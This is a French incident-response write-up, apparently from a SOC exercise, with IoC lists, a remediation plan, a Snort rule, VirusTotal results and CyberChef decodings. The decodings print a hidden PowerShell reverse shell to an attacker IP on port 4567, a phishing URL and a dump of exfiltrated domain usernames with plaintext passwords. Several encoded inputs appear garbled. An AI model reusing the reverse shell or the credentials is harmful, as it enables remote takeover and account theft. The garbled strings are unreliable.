

Liste des Indicateurs de Compromission (PDF)

- Contient une liste des IoCs à bloquer, incluant les IPs malveillantes, les domaines de phishing, les comptes compromis et les ports suspects.
- Actions immédiates à mettre en place : **filtrage des IPs malveillantes, réinitialisation des comptes compromis avec un mot de passe renforcé et activation du MFA, blocage des ports suspects et mise en place d'une surveillance accrue via le SIEM.**

Capture plan remédiation (the hive)

Basic Information

Title	Remédiation	Start date	<i>Not started yet</i>
Group	default	Duration	<i>Not started yet</i>
Assignee	Analyst	Status	Waiting

Description

1. Identification et Isolation de l'Incident

Identification des Indicateurs de Compromission (IOC)

- Utilisateur compromis : john.elom, svcmysql
- IP de l'attaquant : 103.251.167.20, 87.88.180.40, 121.186.71.183, 92.184.123.78
- Mails de phishing utilisés : msa@communication.microsoft.com
- IP interne utilisée : 10.0.2.66, 10.0.2.59 (dans la CMDB ce sont les vpn utilisateurs)
- Fichier contenant des identifiants d'un compte admin : pass_adm_dom_svcmysql.txt
- Hash du script de persistance : 5ff01a325fa0f78ae2791f6497646e91f707ea8f9a607803e5c39e7f5b14abce
- Compte créé pour persistance : admin_backup

2. Endiguement de la Menace

Blocage des Flux Malveillants

- Bloquer les communications vers les IP malveillantes au niveau du pare-feu :
- Filtrage sur 103.251.167.20, 87.88.180.40, 121.186.71.183
- Blocage du trafic vers les ports suspects : 4567 (utilisé pour le reverse shell)
- Désactivation des connexions réseau suspectes
- Désactiver le compte malveillant admin_backup ajouté par l'attaquant
- Supprimer les règles ajoutées dans le registre Windows :("HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "BGInfo Sysinternals" /f)
- Arrêter et supprimer la tâche planifiée malveillante
- Interdire l'exécution de PowerShell non signé
- Mise en quarantaine et analyse du fichier suspect (pass_adm_dom_svcmysql.txt)
- Blocage des domaines de phishing et URL dans les règles de filtrage DNS :loginmicrosoft.com , x17qszcdzxlh6hb560dedk.65nlsppaa2.ru
- Désactivation des comptes compromis et réinitialisation immédiate des mots de passe en activant MFA : john.elom, svcmysql, administrator, root

Règle snort mise en place pour bloquer les données vers IP malveillante :

- alert tcp \$HOME_NET any -> 103.251.167.20 53 (msg:"Blocage IP malveillante - Exfiltration DNS"; sid:100001;)

Commentaire règle snort:

- Règle SNORT : Blocage de l'exfiltration DNS vers une IP malveillante

- Description :

Cette règle détecte et bloque les tentatives d'exfiltration de données DNS via le protocole TCP. Elle cible les communications sortantes depuis le réseau interne (\$HOME_NET) vers l'IP malveillante identifiée : 103.251.167.20, sur le port 53 (DNS).

- Contexte :

L'IP 103.251.167.20 a été identifiée comme un serveur malveillant utilisé pour recevoir des données sensibles exfiltrées via des requêtes DNS falsifiées. Cette exfiltration fait partie d'une chaîne d'attaque plus large impliquant escalade de privilèges et persistance.

- Critères de détection :

- Trafic TCP sortant vers l'IP 103.251.167.20 sur le port 53.
- Trafic émis par des hôtes appartenant au réseau interne (\$HOME_NET).

- Objectif :

- Bloquer immédiatement les flux DNS suspectés d'exfiltrer des données critiques.

- Actions associées :

1. Surveiller les alertes générées par cette règle pour confirmer l'absence de flux résiduels.
2. Établir un blocage permanent de l'IP malveillante au niveau du pare-feu réseau.
3. Compléter l'analyse pour identifier d'autres IOCs associés et ajuster les règles en conséquence.

Captures des locs trouvé lors de l'analyse :

virustotal.com/gui/ip-address/103.251.167.20/detection

103.251.167.20

15/94

Community Score

-7

15/94 security vendors flagged this IP address as malicious

103.251.167.20 (103.251.164.0/22)

AS 60404 (The Infrastructure Group B.V.)

NL

Last Analysis Date

4 days ago

Reanalyze

Similar

More

DETECTION

DETAILS

RELATIONS

COMMUNITY 21

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Do you want to automate checks?

Abusix	Malicious	alphaMountain.ai	Phishing
Antiy-AVL	Malicious	BitDefender	Phishing
CRDF	Malicious	Criminal IP	Malicious
CyRadar	Malicious	Fortinet	Malware
G-Data	Phishing	Lionic	Malicious
MalwareURL	Malware	SOCradar	Malware
Sophos	Phishing	VIPRE	Phishing
Webroot	Malicious	AlphaSOC	Suspicious
ArcSight Threat Intelligence	Suspicious	Certego	Spam

gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%3D',true,false)&input=Y0c5M1pYSnphR1ZzYkNBdFRtOV...

Download CyberChef

Last build: 3 months ago - Version 10 is here! Read about the new features here

Options About / Support

Operations

Search...

Favourites

To Base64

From Base64

To Hex

From Hex

To Hexdump

From Hexdump

URL Decode

Regular expression

Entropy

Fork

Magic

Data format

Encryption / Encoding

Public Key

Arithmetic / Logic

Networking

Language

Recipe

From Base64

Alphabet A-Za-z0-9+/=

Remove non-alphabet chars

Strict mode

STEP

BAKE!

Auto Bake

Input

cG93ZXJzaGV5bCAtTW9QIC10b25jIC1XIEhpZGRlbiAtRXh1Yy8CeXBhc3M@LUNvbnk1bmQgTmV3LlU5IamVjdCBTeXh0Zm9uTmV0LlNvY211dHPLVVENQ2xpZm50KCIxNDMuMjUxLjE2Ny4yNCIsNDU2Ny4yNCI7JH9JGNER29DYXREkd1dFm8cmVhb5gpo1t1eXR1W11dJG19MC4u1tJUIJzV83XswFTt3aG1sZSgoJGkPSPAKY1VFZURHe1SSZWFkKCR1LCAtLCAKY1SHZw5ndgopkSAtbmUgMC17Oy8QWV6Q1Z2ZUgBP5AoTmV3LlU5IamVjdCAtVHlwZU5hbWUgU31zdGVtL1R1eHQuQVNDU5U1FbmNvZGluZyZuZm93RyYw5nKCR1LDA6ICRpTskc2IGP5AoahW4ICRQWV6Q1Z2ZUgBh34mPSB8IE91dC1ThJpbmcKTskc2IyP5RzY1s1UFPgI1sochdkSS5QYXRoKy1tIC17JH1ldCAtICNhdG944dS1bmV3LjU2166KFTQ01KSSHZXRRCXR1cygkcc2IyKtskY1VFZURHe1Sxcml0ZSgkc2J0LDA6JH1ldC5HZW5ndgopOyRjVWVlREd6L2s4dXNkC190yRjREdVQ2F0RC50bG9zZSgocG==

Output

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("103.251.167.20",4567);\$s=\$cGoCatD.GetStream();[byte[]]\$b=0..65535|%;while((\$i=\$cUEeDgz.Read(\$b,0,\$b.Length)) -ne 0){;\$PAezCVveE = (New-Object -TypeName System.Text.AsciiEncoding).GetString(\$b,0,\$i);\$sb = (iex \$PAezCVveE 2x&1 | Out-String);\$sb2=\$sb+"PS "+(pwd).Path">";;\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$cUEeDgz.Write(\$sbt,0,\$sbt.Length);\$cUEeDgz.Flush();\$cGoCatD.Close()

gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=Mjg2MzZlM2Q0NjYxNjI2OTY1NmUyNTMyMzA0MTc5NmY3N...

Download CyberChef

Operations

Search...

Favourites

To Base64

From Base64

To Hex

From Hex

To Hexdump

From Hexdump

URL Decode

Regular expression

Entropy

Fork

Magic

Data format

Encryption / Encoding

Public Key

Arithmetic / Logic

Networking

Language

Recipe

From Hex

Delimiter: Auto

Input

2863e3d46616269656e2532041796f742c6f753d4672616e63652c6f753d55736572732c64633d6c6f636156368b5
6c6f6e32303232129.logimicrosoft.com
2863e3d46616269656e2532041796f757264657474652c6f753d4672616e63652c6f753d55736572732c64633d6c6f6e2c64633d6c6f63
616c3a4d7950407373773072643132329.logimicrosoft.com
9863e3d46616269656e2532041796f757264657474652c6f753d4672616e63652c6f753d55736572732c64633d6c6f6e2c64633d6c6f63
616c3a4d7950407373773072643132329.logimicrosoft.com

Output

```
((cn=Fabien%20Ayot,ou=France,ou=Users,dc=echelon,dc=local:Echelon2023!))
((cn=Maurelle%20Bourdette,ou=France,ou=Users,dc=echelon,dc=local:HyP@ssw0rd123))
((cn=Marthe%20Sylvain,ou=France,ou=Users,dc=echelon,dc=local:maurelle.bourdette1968))
((cn=Madeleine%20Rousse,ou=France,ou=Users,ou=Users,dc=echelon,dc=local:StrongPassword))
((cn=Christian%20Monty,ou=France,ou=Users,dc=echelon,dc=local:ceuaZE13zFSd6!5b1ze))
((cn=svcmysq1,ou=France,ou=Domain%20Admin,dc=echelon,dc=local:ldVj6EU4eTHq2HT0#39!nvvio))
((cn=Loyal%20Dupont,ou=France,ou=Users,dc=echelon,dc=local:Echelon2023!))
((cn=Serge%20Bouchard,ou=France,ou=Users,dc=echelon,dc=local:poaFE..z1zd))
((cn=administrator,ou=France,ou=Domain%20Admin,dc=echelon,dc=local:kcoRZ412Vca;/!iiznoCa))
((cn=Millard%20Belisle,ou=France,ou=Users,dc=echelon,dc=local:Echelon1..))
((cn=Jacquett%20Vaillancour,ou=Users,ou=France,dc=echelon,dc=local:IL0vel11a))
((cn=www-data,ou=France,ou=Web,dc=echelon,dc=local:W@BS3RV.1202301))
((cn=John%20Elow,ou=France,ou=Users,dc=echelon,dc=local:NP@ssw@1StronEn0gh))
((cn=root,ou=France,ou=SQL%20Admin,dc=echelon,dc=local:toor))
((cn=Sabrina%20Pels,ou=France,ou=Users,dc=echelon,dc=local:Jean&Jeanne2004))
((cn=Eric%20Judo,ou=France,ou=Users,dc=echelon,dc=local:Ramzy!5Funny))
```

STEP

BAKE!

Auto Bake

gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=YUHSMGNITZMeTk0TVRkeGMzcGpaS...

Download CyberChef

Operations

Search...

Favourites

To Base64

From Base64

To Hex

From Hex

To Hexdump

From Hexdump

URL Decode

Regular expression

Entropy

Fork

Magic

Data format

Encryption / Encoding

Recipe

From Base64

Alphabet: A-Za-z0-9+/=

☒ Remove non-alphabet chars ☐ Strict mode

Input

aHR0CMh6Ly94MTdxc3pjZHp4bG6g2aG11NjBkZWRLjY1bmZxcGFhMi5ydS9kUDV4LyM=am90bi51bG9tQGVjaGVsb24uY29t

Output

https://x17qszcdzx1h6b560dedk.65n1spaa2.ru/dPSX/#john.elom@echelon.com

STEP

BAKE!

Auto Bake

121.186.71.183

121.186.71.183 (121.186.0.0/16)
AS 4766 (Korea Telecom)

1/94 security vendor flagged this IP address as malicious

Community Score: 1/94

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Vendor	Status	Analysis	Action
SOCradar	Malicious	Abusix	Clean
Acronis	Clean	ADMINUSLabs	Clean
AILabs (MONITORAPP)	Clean	AlienVault	Clean
alphaMountain.ai	Clean	Antiy-AVL	Clean
benkow.cc	Clean	BitDefender	Clean
Blueliv	Clean	Certego	Clean
Chong Lua Dao	Clean	CINS Army	Clean
CMC Threat Intelligence	Clean	CRDF	Clean
Criminal IP	Clean	Cyble	Clean